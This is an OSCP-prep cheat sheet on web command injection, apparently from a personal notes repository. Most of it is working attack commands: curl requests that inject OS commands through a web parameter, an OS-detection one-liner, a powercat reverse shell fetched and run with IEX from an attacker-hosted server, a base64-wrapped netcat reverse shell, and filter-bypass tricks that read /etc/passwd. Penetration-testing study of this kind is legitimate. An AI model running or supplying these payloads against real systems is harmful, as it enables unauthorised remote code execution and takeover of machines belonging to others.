Command Injection

Chain OS commands via web input, confirm the injectable parameter, and upgrade to a reverse shell (Powercat).

#web#command injection#rce#powercat

source · airouboss/oscp-prep-notes-2026 · web/command-injection.md ↗

Command Injection

When user input is passed into a shell command, injecting a separator lets you run your own commands. Chain with ;, |, &&, or & (Windows), then upgrade to a reverse shell.

Payload list: https://github.com/payload-box/command-injection-payload-list

Confirm the injectable parameter

Proxy the app through Burp, find the parameter that carries the command (e.g. Archive), and replay with curl.

🐺 howlsec@kalishell

$curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
$curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
$curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive

Chain commands

If a bare command is rejected, append yours with a URL-encoded separator (%3B = ;, &&, or &).

🐺 howlsec@kalishell

$curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive
$ 
$# OS-detection one-liner (returns CMD or PowerShell)
$(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
$curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive

Reverse shell via Powercat

🐺 howlsec@kalishell

$cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$python3 -m http.server 80
$nc -nvlp 4444
$ 
$# Download + run powercat
$IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.154/powercat.ps1");powercat -c 192.168.45.154 -p 4444 -e powershell
$ 
$# URL-encoded through the injectable parameter
$curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive

Base64 wrapping (Linux)

🐺 howlsec@kalishell

$echo "nc.traditional 10.50.132.150 8000 -e /bin/bash" | base64
$# bmMudHJhZGl0aW9uYWwgMTAuNTAuMTMyLjE1MCA4MDAwIC1lIC9iaW4vYmFzaAo=
$localhost | echo 'bmMudHJhZGl0aW9uYWwgMTAuNTAuMTMyLjE1MCA4MDAwIC1lIC9iaW4vYmFzaAo=' | base64 -d | bash

Bypass tips

Filtered spaces? Use ${IFS}, <, or brace expansion ({cat,/etc/passwd}). Filtered keywords? Hex/base64-decode them inline. Blind? Use time (; sleep 10) or out-of-band (ping back to you) to confirm.